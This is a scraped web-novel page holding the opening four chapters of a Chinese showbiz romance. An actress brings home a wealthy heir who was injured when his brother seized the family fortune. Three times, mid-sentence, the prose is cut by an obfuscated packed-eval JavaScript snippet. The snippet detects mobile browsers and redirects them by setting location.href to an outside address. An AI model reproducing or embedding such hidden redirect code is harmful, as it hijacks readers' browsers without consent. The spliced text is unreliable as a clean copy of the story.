《红鹮何时归[娱乐圈]》 1. 第 1 章 严格意义上讲,柏原算是沈鹮的金主。 或者更严谨的用词应该是——“持续时间仅为一天”的金主。 基于六个月前两人在电影杀青宴上,相谈不过二十分钟就在附近酒店开了一间总统套房共度良宵,隔天沈鹮就收到圈内名导付襄递来新剧本的事实来看,柏原这顶“金主”的高帽戴得当之无愧。 只不过…… 自酒店那晚春宵一夜之后,沈鹮就再也没赶赴过柏原的任何邀约,当然,无论是床上还是床下。 只因为沈鹮一夜疯狂过后才知道自己睡了大名鼎鼎的柏家小公子。 圈子里谁人不知柏家老爷有个偏爱有加的小儿子名叫柏原,六十多岁才老来得子的粉娃娃,刚出生又因为患有先天性哮喘更是含在嘴里怕化了,捧在手里怕摔了。 仅仅这份家世就是像沈鹮这样的普通二线明星碰都不敢碰的。 更何况那天中午从酒店的大床上醒来,沈鹮身边的枕头上整整齐齐地摆着两样东西—— 柏原的私人名片和一张无限额信用卡。 其中意味,不言而喻。 从来拒人于千里之外的小公子这回是动了真心,柏原身边的助理和保镖把这事儿看得明明白白,尤其是贴身助理蒋钦年更是心知肚明。 但谁都没有想到,就是这样能让其他人兴奋地在酒店套房上蹿下跳的阔少行为,居然吓得沈鹮对柏原更是退避三舍。 她打一开始入圈就没准备傍大款,进豪门。 沈鹮身上优点不算太多,除了肉眼可见的性感身材和妩媚颜色以外,她最引以为豪的就是她掂得清自己几斤几两。 贫民出身的小姑娘,仗着自己有几分姿色,就想一步登天飞上枝头变凤凰? 她可没这个“雄心壮志”。 从踏入娱乐圈的第一天起,她的计划就是赚够养老钱,争取三十五岁以前退休,找个成都茶馆天天吃吃喝喝打麻将,从此享乐余生。 像柏原这样含着金汤匙出生的小少爷不可能,也不应该出现在她的人生轨迹里。 那夜的越轨被沈鹮算作酒精麻醉下的失智行为,仅一只“亡羊”,她还来得及“补牢”。 可是天不遂人愿。 就算她再是谨言慎行,也架不住柏家财大气粗。 电影杀青后的所有市场宣发工作神不知鬼不觉地被柏家一家包办,按照合同上白字黑纸的条约,沈鹮必须配合电影后期的所有宣发内容拍摄。 几乎每一场物料拍摄柏原都会亲自到场,坐在摄影棚角落也不说话,就等沈鹮拍摄间隙递上一杯低糖茶饮,或是两块梳打饼干。 同时还不忘附在沈鹮耳边,跟她小声邀功:“阿鹮,我专门给你挑得都是好吃又低脂的零食,你多吃点,不怕长胖。” 摄影棚几十双眼睛看着,她沈鹮就算是吃了熊心豹子胆也不敢当面拒绝柏原,拂了柏家的脸面。 这一来二去,沈鹮和柏家小公子正打得火热的消息便不胫而走,就连一直带沈鹮的经纪人吴敏璇都听信了流言蜚语。 每次沈鹮一脸严肃地告诉吴敏璇他两什么事都没有,并且义正言辞地解释为什么她不会喜欢柏原的时候,吴敏璇总是一脸“我都懂”的表情看着她:“装,再装。” 圈子里的人最爱八卦,不过一个多月沈鹮每隔几天手机上一定会收到同行过来打探的微信消息,从一开始的认真解释到最后的筋疲力竭,沈鹮一怒之下接了个海外综艺。 一开始沈鹮只是想找个由头躲去国外清静清静,毕竟柏原再是家大业大,只要出了国门他就只能鞭长莫及。 她早就打听过了,因为先天哮喘的缘故,柏老爷子一直不同意柏原坐飞机,就连自己家的私人飞机都是尽量少乘为好。 沈鹮先斩后奏在经纪人都不知情的情况下,直飞欧洲录制一档旅游综艺,满打满算也要在国外待满两个月的时间。 她估摸着两个月过去,柏小少爷被一夜激情暂时冲昏的头脑也该清醒清醒了。 并且当摄制组抵达布拉格,距离她离开祖国整整二十天以后,微信上就再也没收到过柏原发来的问候消息。 断联的时间越长,沈鹮就越是庆幸自己当初接下这档综艺的决策真是明智,果然距离和时间是一切问题的解决办法。 然而…… 在重获自由和如释重负的魔力之外,沈鹮也会在丹麦白崖的黄昏里,在巴黎梦幻之都的夜色下偶尔感到一阵空虚。 不可否认,被人放在心尖上的滋味并不太坏,甚至有些令人沉醉。 但她扪心自问,那点情感还谈不上喜欢,顶多有些在意。 她坐在艾菲尔铁搭下举起酒杯,对着璀璨的灯光默念刚刚从当地帅哥那里学会的一句法语:“Le sort en est jeté.” “结局已定。” 他们的命运本就该是两条不可相交的平行线。 只能说,这一切错就错在她是沈鹮,他是柏原。 而柏原正好也是沈鹮这一辈子都不敢,也不配招惹的“大人物”。 - 旅行综艺的最后一站定在意大利米兰。 所有拍摄结束后,一架从米兰起飞直达北京的飞机准时起飞,起飞前她刚好接到吴敏璇的电话:“到时候我去机场接你,机场安排了几个娱乐记者报道你回国的事情,下飞机前记得补补妆。” “知道了。” 本该此时挂断的语音通话依旧通畅,沈鹮听见电话那边吴敏璇的声音欲言又止:“还有一件事,我不知道该不该说……” “什么事?” “算了,你落地了再说,现在说也没什么意义。” “到底什么……” 沈鹮还想追问,头等舱服务的空姐就已经开始优雅示意乘客自觉关闭电子通信设备,语音通话刚好被吴敏璇找准时机挂断。 关机之前,沈鹮又习惯性刷了刷微信上其他的未读信息,手指尖在柏原已经“安分”了三十多天的对话框上停顿两秒。 两秒过后,屏幕熄灭。 沈鹮从包里掏出提前准备好的眼罩和耳塞,开始享受未来十个小时的空中睡眠。 飞机落地前沈鹮没忘听从吴敏璇的建议,在飞机座位上认认真真画了个全妆,滑行途中还把妆容拍了自拍发给吴敏璇检验,得到“OK”的批示以后才背着包走下飞机。 托运的行李有工作人员处理,她的职责便是走好机场这一截被□□长炮追随的通道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647758|156529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>团队里还是有不少人指着沈鹮混口饭吃,她对自己肩上的职责从不推卸。 只有她吃饱了,身边的人也才能吃好。 一出海关从四面八方涌来的摄像机立马怼在沈鹮脸上,吴敏璇和两个提前安排好的保镖把沈鹮护在中央,从人流中找出一个通道走向机场出口。 好在女明星的粉丝比不上男偶像的粉丝癫狂,聚集在机场的人并不算多,没出十分钟短短几百米的“机场T台”就顺利走完。 娱乐频道拍到了自己需要的素材,沈鹮和吴敏璇也对她今天的着装和妆容还算满意,合作共赢,每个人都得到了自己想要的东西。 上了提前订好的保姆车,沈鹮和吴敏璇分别坐在第二排的扶手座位上,头等舱的座位再是舒服也比不上自己家的大床,十个小时的飞行还是有些疲累。 “呼……”沈鹮深呼吸一口,把自己家的住址报给司机:“终于可以回家睡个好觉了!北京一入秋就开始降温,今天也太冷了!” “等等,你可能……还不能回家。” “哈?为什么?” 吴敏璇招招手示意司机慢点开,用着商量的语气和沈鹮继续说道:“你得先去见一个人。” “谁?” 沈鹮这才想起来飞机起飞前吴敏璇犹犹豫豫的样子,不知道什么事被她搞得神神秘秘。 吴敏璇抬头小心看了看沈鹮的脸色,一个熟悉的名字从她嘴里慢慢说出:“你得去见见……柏原。” “谁?柏原?柏家的小儿子?” 沈鹮一时没反应上来,怎么自己才在国外潇洒了两个月,一落地自家经纪人就把她这只“羊”往“虎口”里送? “不要,我不去。”她说得斩钉截铁。 “哎,我不是要逼你,算了,”吴敏璇从口袋里掏出手机,从浏览器的历史记录里找出一条新闻链接,页面加载完毕以后才交到沈鹮手里:“你自己看吧,我不多说,省得你觉得我骗人。” 新闻来源是沈鹮几乎闻所未闻的野鸡网站。 只是内容却显得触目惊心。 短短几百字把柏家老爷子突发心脏病逝世,柏家大少爷柏宁一天之内凭借一张伪造遗嘱迅速掌控柏家名下所有产业,而在同天,据说原遗嘱的最大受益人柏小少爷柏原则在郊外遭逢意外车祸,经过急救之后依然生死未卜的花边新闻讲得清清楚楚。 沈鹮下意识反倒页面底部看了一眼新闻日期,正好和柏原跟自己断联的时间对上。 吴敏璇收回手机:“这是网上唯一能找到的新闻线索,主流媒体全部被柏家封了口,这件事大多数人到现在都不知道。” “柏原现在人呢?”沈鹮声音里有些她自己都不易察觉的颤抖。 “在医院,人醒了,但是状态不好。” 吴敏璇顿了顿才继续:“他的私人助理联系我说,几天前柏原才醒来,状态不好,什么都不说,唯独只喊你的名字,说是务必安排你去医院见他一面。” “阿鹮……不然咱就去见见?” “毕竟人柏原以前对咱也挺好,你说对吧?” 沈鹮紧皱的眉心再也没松开过,听完吴敏璇的话也没耽搁太久,思考半分钟过后,她坐在座位上无声地点了点头。 2. 第 2 章 私人医院的安保措施做得周密,就连蒋钦年一次也只能带一位访客进门,吴敏璇摆了摆手招呼沈鹮赶紧上楼,自己留在车里等她个把小时没什么大问题。 登记过个人信息后,沈鹮跟在蒋钦年身后上了电梯,在私人医院的顶层单人病房内,沈鹮见到了阔别一个多月的柏原。 私人医院无论是服务还是装修都比公立医院高出一大截。 一踏进病房扑面迎来的不是普通医院里呛人的消毒水味,反而是一阵高级空气清新剂的味道闻起来沁人心脾。 宽敞的房间内一应俱全,从靠近房门的茶几和沙发,再到病房自带的厨房和卫浴,以及窗户外面一个小型阳台。 沈鹮忍不住啧了啧,看来小少爷就算落难了也还是一颗普通人根本比不上的金疙瘩。 安静地躺在病房柔软的被褥里,陷入枕头中的那张脸比沈鹮记忆中还要消瘦苍白不少,一只手暴露在空气中将药液缓缓输入体内,青紫的针眼密密麻麻分布在那只手背上,紧闭着双目似是还在沉睡。 沈鹮站在病床旁边沉默地看了几秒,蒋钦年拍了拍她肩膀示意出门聊聊。 出了病房左拐不到五十米就是医院顶楼的空中花园,屏退了跟在他们身后的两位保镖,蒋钦年才低声开口:“肋骨和髌骨骨折,外加重度脑震荡,两场手术下来精力一直没恢复,一天二十四个小时基本上大半都是这么睡过去的。” 害怕沈鹮不知道“髌骨”的位置,蒋钦年伸手指了指自己的膝盖骨:“就这儿,”又从口袋里掏出一包烟,拿出来递给沈鹮一根:“来一根?” 沈鹮没客气,用食指和中指夹住烟嘴,借着蒋钦年点燃的打火机把烟头点燃,深吸一口,过肺之后再吐出一阵灰白色的烟圈。 “来这之前我看了一篇报道,里面写得邪乎,你跟我说实话,柏原现在到底怎么回事?柏老爷子真……真没了?” “没了,柏宁一直压着不肯发讣告,就是为了把柏家财产全部处理完再对外通报,柏原出车祸也是这个原因……” 蒋钦年转头把自己嘴里的烟也避开风口点燃:“柏宁有意让柏原昏迷一个月,足够他把所有财产揽到自己名下了。” 名门望族的利益角逐果然不是平头老百姓能接受的,兄弟之间手足之情都能为了金钱一夜之间自相残杀,沈鹮作为旁观者也只能感叹一声:“真狠。” “其实也没有你想得那么坏,起码没赶尽杀绝,要是真下了死手柏原现在可就不是躺在病床上那么简单了。” 沈鹮点点头不置可否,她这次来的主要问题还没解决:“我经纪人跟我说你找她,让她务必带我来见见柏原,这人我也见过了,然后呢?” “柏原从醒来就总喊你的名字,意识清醒一些的时候还罢了,感染发烧、脑子犯浑的时候叫得都是你的名字……” “哎……”蒋钦年叹了口气,深吸一口把最后一段烟抽完,像是鼓足了勇气才能把接下来的话说完:“眼看着该出院了,我想帮他问问你,愿不愿意出院以后带他回你那边?” 沈鹮眉心一跳。 合着在这儿等着她呢。 沈鹮侧头瞟了一眼蒋钦年笑笑没说话,她本就生得妩媚,斜眼看人的时候更是风情万种。 只是那双眼睛里的锐利却始终让人无法忽略,蒋钦年看过一秒就心知肚明,沈鹮猜到了他的心思。 聪明人之间说话那就没必要再弯弯绕绕,蒋钦年直接打开天窗说亮话。 “我承认,这个请求有自己的私心,我跟着柏原好几年了,看着柏原那么喜欢你我不可能无动于衷,更何况我刚刚说的,他这段时间一直喊你的名字,情绪不稳定还犯过两次哮喘,这事儿不是我编的,不信你可以去问其他医生。” “我没觉得你撒谎,”沈鹮转身正对着蒋钦年:“我只是想问,为什么放心把他交给我?你这么忠心,难道不更应该陪在他身边吗?” “因为那张柏原送给你的无限额信用卡还在我身上,把他交给你总比交给那些见钱眼开的畜生强。” 沈鹮对蒋钦年这个答案还算满意,只是她还得再思考思考要不要接下这个烫手山芋。 看出沈鹮的犹豫,蒋钦年索性一次性把所有问题疑虑一并打消:“你放心,安全方面现在没什么威胁,柏宁已经得到了自己想要的,不会真的做到那个份儿上;日常柏原的医药费我们还支付得起,这些都不用你操心。” “……给我点时间想想。” 把一个大活人接回家再怎么说也不是什么一锤子买卖,蒋钦年表示理解地点了点头。 把已经熄灭的烟头扔进花园角落的垃圾框里,在半空中划过一个完美的抛物线,沈鹮转头往病房的方向走去:“走吧,再去看一眼他。” “哦对了,你的问题我还没回答完。” 蒋钦年再次把沈鹮叫住,她停下脚步回头看他。 “至于为什么我现在不能陪在柏原身边,因为……因为我暂且还有更重要的事情要做。” - 回到病房人依旧沉沉睡着。 不过倒是正好碰见柏原的主治医生查房,护士正蹲在病床旁边给柏原快速做完血检,医生掀开被子检查他腿上打过石膏的部分。 沈鹮这才看见柏原一条腿上圈着绷带,绷带下面还绑着护具和石膏,卧床一个月两只小腿都有些肌肉萎缩,被医生搬弄过来搬弄过去看着莫名就透露出几分可怜。 “髌骨骨折是右腿,左腿小腿有点骨裂,但是已经好差不多了,所以我刚才才没提。”蒋钦年从病房门口跟上来,看见这一幕赶紧补充,生怕沈鹮一个气不顺一走了之。 “嗯,我看出来了。” 主治医生早就认识蒋钦年了,这些日子一直是他陪护在柏原左右,连手术通知书都是由他一一签字。 病人家属在场,医生便又把出院一事的老生常谈摆到台面上来:“你们商量好什么时候出院了吗?” 医生从手中的病历本里取出一页体检报告单交给蒋钦年,上面的数据沈鹮稍微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647759|156529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫过一眼,大多数处在及格线的边缘之上。 “病人恢复得还可以,小心照顾在家调养也不是问题,主要是他住在医院情绪太差,再住下去不仅哮喘时时复发,对病人心理可能也会造成影响。” 蒋钦年转头看向沈鹮,两手摊开做出一脸无辜的表情,一副“你看吧?医生真这么说,我可没跟你编瞎话”的样子。 “假设这两天出院……”沈鹮用词保守,斟酌半天也没把话说满:“我是说假设,在家里照顾病人的话,有什么需要特别注意的吗?” “基本情况已经稳定了,除了保证日常营养摄入和按时进行腿部按摩以外,没什么其他太大的问题,”主治医生又停顿了几秒再补充道:“骨头完全长好以后,还需要一段时间的复健,除此之外没什么特别需要注意的了。” 沈鹮抿了抿唇还是没能下定决心。 冲着蒋钦年小声询问:“你就没别的人选了吗?就只有我一个人能带他出院吗?” 蒋钦年看着沈鹮一脸苦笑:“柏原个人名下倒是还有几套别墅,我把他送回去,他见不到你人,还不是一样的情绪反复,我没办法了呀……” 深呼吸一口,沈鹮眯着眼睛看了看医院洁白的天花板。 好家伙。 蒋钦年和医生合力把自己架在台阶上还下不来了。 “阿鹮……” 干涩又沙哑的声音突然在病房里响起,沈鹮条件反射地低下头正好对上柏原刚刚从昏睡中苏醒,还不甚清明的双眼。 扎着针头的那只手微微抬起,好像是想要用力够到她衣角的样子,沈鹮下意识就握住了那只手,担心他乱动跑针,把自己再弄伤。 谁知道这一握,就被掌心冰凉的温度惊得心脏揪疼,沈鹮没想到柏原的手指现在摸起来竟然这么凉。 再抬眼看去,柏原原本迷茫的双眼瞬间蒙上一层水雾,连音调都染上几分苦涩的哽咽:“阿鹮……” 沈鹮内心挣扎片刻,终是没松开紧握着柏原的那只手。 旁边的蒋钦年心思活络,从沈鹮的小动作已经看出她有所动摇,赶快在一旁趁热打铁:“鹮姐,出院的事你要不然……” 这边沈鹮还没回话,反倒是柏原先有了反应。 冰冷的指尖在她手掌心微微发颤,不知道怎的,沈鹮突然就和柏原有了默契,瞬间明白那人现在心情紧张到了极点。 他知道蒋钦年的意思。 他也在害怕自己不答应。 沈鹮定了定心神,给了自己最后一个还不确定的理由,她弯腰两臂轻轻撑在柏原身侧,看向他的眼神是前所未有的认真:“柏原,你愿意跟我走吗?” 她看见柏原那双漂亮的桃花眼里突然就有一汪晶莹在打转儿,一眨眼的功夫就汇聚成一颗泪水重重砸在枕头上,发出“砰”的一声微响。 沈鹮莫名就从那双眼睛里看出了满满的委屈和依恋。 好像在她心上又掐了一把。 “阿鹮,求你,带我走吧。” 3. 第 3 章 病房里主治医生刚好在场,做过简单的身体评测之后就给柏原开了出院同意书。 不到一个小时内,出院手续和柏原的日常用品都被打点清楚,柏原坐着轮椅,跟在沈鹮身后,被人一路推到了住院楼下。 楼下蒋钦年安排的保姆车和司机已经提前就位,坐在另外一辆车上的吴敏璇看这架势没敢下车,隔着车窗给沈鹮打过招呼就提前溜之大吉。 把柏原全权交给沈鹮之后,蒋钦年没跟着沈鹮把柏原送回她家。 他只提前电话安排了家政阿姨□□,把阿姨的联系方式推给沈鹮,然后又在柏原耳边低声,交代了几句旁人听不清的密语。 沈鹮看见柏原皱着眉头点了点头,蒋钦年这才关上了保姆车车门。 大概是什么家族机密,沈鹮不想知道,也抗拒知道。 沈鹮的住所距离私人医院并不太远,全程花了不过四十分钟的时间便抵达了目的地,要是没有北京一年从年头堵到年尾的交通状况,按道理来说他们还能更快到家。 因为车牌号属于外来车辆的缘故,保姆车驶进小区的时候,沈鹮只能放下车窗和保安打声招呼证明业主身份。 不过几秒钟的间隙,沈鹮就刚好瞧见小区对面有两个人鬼鬼祟祟地来回游走,一人手里端着一个远胶镜头,打眼一看就是狗仔的模样。 当初沈鹮在北京这种寸土寸金的地方买下这套复式平层,几乎花光了自己入圈以来赚到的三分之二存款。 选择这间小区一方面是因为地段和设计都让她称心如意,另外一方面也是因为严格的安保和保密措施能保证极强的私密性,把狗仔和代拍全部挡在大门外。 沈鹮把车窗合上偏头看向身侧,柏原就坐在另外一架的座椅上默不出声。 这一路上,沈鹮只要不开口,柏原大部分时间几乎也保持沉默。 不得不说,这样的柏原让她感到陌生。 从前矜贵漂亮的小公子一见到她就热情地迎上来,把自己最近生活中的趣事、准备送她的礼物如数家珍地一样样摆到她面前。 虽然略有些聒噪,却也比如今寡言的样子好过不少。 也是,经历了家族这么大的变故,又被亲哥哥害得遍体鳞伤,是个人心底都会留些伤疤。 人心都是肉长的,沈鹮即便再是理智,活生生的一个人从乐观积极变得内敛沉默,心底也总是会生出一丝同情。 她无声地深深叹了口气。 柏原身下的座椅被放平到120度左右,两条伤腿被安置在座椅之间临时搭建的软垫上。 几次车辆拐弯沈鹮都看见柏原摇晃的右腿不由自主地碰撞得东倒西歪,本就没什么颜色的脸蛋更是白了又白。 蒋钦年不在没人替他打点一切,柏原也就咬紧牙关生生忍着。 最后还是沈鹮自己发现以后提醒司机师傅稍微开慢点,车上还有伤患经不住颠簸。 保姆车缓缓停在地下停车场的电梯口旁,坐在驾驶位上的司机率先下车把轮椅从后备箱取下、撑开,在车门旁边拉好手刹以后才小心翼翼地把柏原从座椅上扶了下来。 高档小区每一栋楼都配备了不止一架电梯,很快就有电梯到达地下一层接送他们。 沈鹮长按开门键示意司机把柏原交给自己,关在电梯里的两个人一时无话,很快便从地下到达第26层,拢共花了左右不过一分钟。 家里门锁的密码沈鹮提前在微信上发给了家政阿姨,嘱咐她把复式平层一楼的卧室整理出来,腾给柏原暂住。 她自己平常都在二楼活动,除了必要时候用一用一楼的客厅以及厨房以外,沈鹮大部分时间都赖在二楼的卧室和健身房内。 把柏原领到房间后,想着他大概需要一段时间安顿,沈鹮便先去楼上给自己冲了个热水澡。 从浴室出来以后沈鹮又花了点时间给自己做完一套全身皮肤护理才悠哉悠哉地走下楼梯,发现家政阿姨正站在厨房边上一脸左右为难。 “怎么了?是需要用厨房吗?” “对,柏先生的家政服务中包含护理、清扫和一日三餐,今天晚上的晚餐还没开始准备,所以我想用一下……”护工指了指厨房冰箱:“可以用用您的厨房吗?食材部分我会自行在网上下单购买。” “用吧。”沈鹮挑了挑眉,能找到这么全能的家政阿姨也算他们的本事,不在意地摆摆手,转头又想起什么:“柏原安顿好了吗?” “好了,柏先生正在卧室休息。” “行,”沈鹮点点头:“你忙吧,我去房间看看他。” 家政阿姨理所应当地把柏原安顿在一层的主卧里,房间内配备了一间单独卫浴也更方便他日常起居。 卧室门没关上,沈鹮站在门口就看见柏原靠在床头看着落地窗外静静发呆,下身盖着房间里原本配备的一套羊绒被,右腿被稍稍抬高妥帖地放在软枕上。 沈鹮没进屋,双手抱臂靠在门框边上敲了两下:“想什么呢?这么出神?” 柏原听见声音才猛然回头,看见沈鹮的那一刻双眼还是不由自主地亮过一瞬,只是相较于曾经还是黯淡了太多。 “没什么,”柏原扬起嘴角,只是这段时间消瘦得太多,即便笑起来都没剩多少脸颊肉:“阿鹮,谢谢你,谢谢你愿意带我回家。” 突如其来的客气搅得沈鹮还有些慌张:“咳咳,不,不用客气。” “钦年是不是……” 柏原话说到一半突然和沈鹮的视线错开,垂下头任由住院时长长的刘海遮住自己漂亮的眉眼,抿成直线的薄唇却叫沈鹮品出几分自己从来没在柏原脸上见过的苦涩。 “钦年花了很大力气说服你吧,我知道我现在很麻烦,你是为数不多还愿意接我出院的人,难为你了……” 这话说得卑微,沈鹮也听得五味杂陈。 放在三个月前,柏小公子哪里可能用“麻烦”这样的词来形容自己。 沈鹮短暂地怔愣片刻,有些笨拙地安慰眼前的男人:“也说不上难为……你给过我的东西也足够我这样做,推我做了付襄导演的女主角,仔细想想你也算是我的贵人。” “是吗?看来我以前也做过符合你心意的事情。” 不可否认,沈鹮也曾经因为对富家子弟的成见而用相同的话评价过柏原,说他唯独这件事做得像模像样。 “嗯……”倚靠在床头的男人突然出声。 原本平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14647760|156529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静搭在软垫上的右腿突然开始肌肉抽动,柏原用力伸手按住自己的小腿,喉间抑制不住发出一声痛呼。 从没见识过这种紧急情况的沈鹮突然有些乱了阵脚,快步走到床边又发现自己什么也做不了:“怎么了?怎么了?我,我要不要打电话找医生?” “不……不用,就是痉挛,骨折长时间不动就是这样……”柏原一边忍着疼痛,一边咬牙和沈鹮解释。 好在痉挛持续的时间不长,大概五分钟之后肌肉就恢复了原本的样子,只剩脚尖在软枕上偶尔微小地震颤两下。 沈鹮不知道这样的情况柏原会有多疼,只是想象骨折的伤腿突然不受控制地抽动都会有些害怕,一场短暂的痉挛过后柏原前额还是渗出一层薄汗。 沈鹮心想,大概还是疼的。 从床边的矮柜上抽出两张餐巾纸,沈鹮没有过问柏原便直接上手将他脸上的冷汗一点一点细细擦干。 温柔的力道压在自己脸上时,柏原有一瞬间的失神,诧异地看向沈鹮近在咫尺那张美艳的脸。 当柏原终于反应过来她在做什么时,晃动的瞳孔中迸发的光亮犹如夜空里绽放的辉煌烟火,将无尽暗夜染上斑斓色彩。 - 晚上九点,屋内寂静一片,窗外灯火通明。 从机场到医院,沈鹮今日舟车劳顿了一天还没能好好休息,刚到九点就困得眼皮打架,把吃光的碗筷交给家政阿姨就跑上了二楼。 阿姨把柏原推回卧室以后也自觉退出门外。 九点一刻,柏原握在掌心的手机准时响起。 “喂,钦年。” 电话听筒里蒋钦年的声音十分清楚:“是我,小少爷。” “嗯,事情进行得怎么样?” “所有人事安排已经就位,有个别竞业协议需要和律师商议,除此以外其他人的劳动合同已经签署了八成以上,预计本周五之前可以把所有人事相关工作完成。” 虎父无犬子,尤其是生在商贾世家的柏小公子怎么可能单纯得任人搓圆搓扁。 以往是父亲把自己保护得太好,让他忘记了自己敏锐的天性。 始料未及的坎坷反倒激活了基因中的天赋,躺在病床上的这些天足够他把一切细细捋过一遍,缜密的思维让他在兄长的围追堵截中终于寻得一线生机。 机会难得,他必须紧握。 “好,我把几个地址稍后发到你手机上,这几天你去这几个地方分别看看,选一个最合适的租下一年。” “好的,小少爷。” 工作计划进行得还算顺利,蒋钦年听得出柏原在电话这头松了一口气。 多年培养的默契和信任让蒋钦年有资格顺道关心柏原的私人生活:“小少爷,鹮姐那边……进行得也顺利吗?” 提及那个名字的瞬间,柏原眼底的狠厉消散,被一层温润取而代之:“嗯,还算顺利。” 电话那头的蒋钦年声音也高兴了几分:“那小少爷今天是不是很开心?” 沉默几秒,柏原伸出一只手摩挲着自己傍晚被沈鹮擦过冷汗的额角,唇边漾起的笑容与六个月前那个无忧无虑的小公子如出一辙。 “嗯,很开心。” 4. 第 4 章 沈鹮在熟悉的大床上酣睡了整晚,大清早起来感觉神清气爽。 每年都要飞去国外几次拍摄电影或是征战时装周,沈鹮调整时差最熟悉的办法就是把自己折磨到筋疲力尽然后再睡满十二个小时。 从二楼走到一楼的时候家政阿姨把准备好的早餐已经摆上了餐桌。 不知道是不是有人提前知会过阿姨,沈鹮大概扫了一眼桌上的菜色,除了两盘过于清淡一看就是给病人的营养餐外,其他的西式早餐和刚刚做好的手摇咖啡都是自己的最爱。 家政阿姨还在岛台边准备最后一道餐后水果,空荡荡的餐桌四周却不见柏原的影子。 沈鹮看了一眼手机上的电子时钟,九点四十照理来说也不算太早。 “阿姨,柏原还没起床吗?” 听见沈鹮这么问起,家政阿姨脸上浮现几分难色:“早上八点半我听着好像就已经醒了,敲了两次房门都说是再等一会儿,我也不敢随便进去,不知道里面什么情况。” 沈鹮点点头,没太在意。 毕竟每个人都有自己的生活习惯,柏原也不是什么没长大的小屁孩,知道饿了自然就会出来,她没必要操这份闲心。 悠哉地在餐桌边上坐下,拿起阿姨刚刚做好的一块三明治细嚼慢咽,不得不说鸡蛋和培根里面自调的酱汁味道挺对自己口味。 美食总能勾起沈鹮几分烹饪的兴趣,和家政阿姨一来二去边聊边吃又过去了将近二十分钟。 最后一口三明治也被沈鹮解决干净之后,柏原还是悄无声息,闭门不出。 原本踏踏实实落在实处的心脏莫名随着时间的推移一点点飘荡起来,当电子时钟走过十点后,沈鹮从餐桌座椅上站了起来,犹豫片刻还是敲响了柏原的房门。 “柏原,柏原,你起来了吗?” 沈鹮低头靠近门框边仔细分辨,除了床单被褥摩擦时发出悉悉索索的声音以外,无人应答。 “柏原,那我进来看看可以吗?” 放在门把上的手轻轻用力,门锁没从内侧反锁,沈鹮轻而易举地便把木门推开一个门缝,阳台的光正好透过缝隙照在沈鹮的脸上。 房间内的人还躺在床上没有起身,以为对方还没醒来,沈鹮蹑手蹑脚地想要进门查看一眼就走。 刚才走进两步,就听见自床的方向传来一声闷哼,沈鹮侧头才看见柏原紧皱的眉头和两手抓紧的床单。 身体比大脑先一步做出反应,沈鹮下意识地就把手掌贴上那人冰凉的额头:“是发烧了吗?柏原,是哪里不舒服?” 额头传来的触感让他很快睁开双眼,涣散的眼睛始终无法聚焦,沈鹮听见他的声音嘶哑又低弱:“没事,脑震荡的后遗症……” 柏原才刚刚说了几个字,大脑前侧就再次传来一阵又一阵猛烈的疼痛,只要稍稍睁开双眼就会更加眩晕,他想要看看沈鹮让她别太担心却都做不到,只能抓紧手下的床褥把一声声痛呼死死咽进喉咙。 这样生忍着不是办法。 沈鹮打开手机立即搜索脑震荡头疼的缓解方法,止疼药、热敷、按摩一个个词语挨个从页面上蹦了出来。 止疼药不敢给病人乱吃,按摩她也不是专业人士,只有热敷算是她为数不多能做到的事情。 招呼家政阿姨打一盆热水来,又在微信上问过蒋钦年热敷的注意事项,得到的回答之后沈鹮把在热水里泡过十几秒的手帕折成长条,轻轻柔柔地搭在柏原额前。 坐在床边等待了几分钟起效以后,沈鹮看着柏原的脸色恢复了些许血色才敢询问:“有没有好些?” “嗯,好多了……” 最难熬的那一阵已经过去,不过热敷几分钟柏原再睁开眼望向沈鹮的时候已经不似方才那么无神。 早晨刚刚起床的沈鹮还没来得及化妆,素面朝天的清秀面容柏原还是第一次见,除去女明星完美的妆容和时尚的造型之后,他才知道沈鹮不需要任何修饰也可以迸发出美艳的光彩。 还有她双眸里此时酝酿的关怀和担忧。 是他从未享受过的独家关注。 柏原静静看着沈鹮伸手探了探手帕的温度,察觉出热气有所下降之后又在热水里泡过一遍,亲自拧干、折叠,再细致地放在他额头上。 在她发现自己眸底快要隐藏不住的贪恋之前,柏原慌忙再次闭上双眼,将一切遮盖起来。 “怎么了?又疼了吗?” 发现柏原再次紧紧合上双眼,沈鹮误以为是她有什么操作不当,说话的语调是自己都觉察不出的耐心和体贴。 但柏原听得清楚。 她温柔的声音就在距离自己耳畔不过几寸的地方,明明音量不大却像每一个字都砸在他的耳膜上一般,连带着心尖都随着音节猛烈撞动。 手里攥紧的床褥被悄悄松开,转而紧握成拳的双手隐藏在棉被之下。 阿鹮…… 他好希望喜欢阿鹮…… 能不能一直对他这么温柔,阿鹮…… “怎么不说话,是不是还疼?” 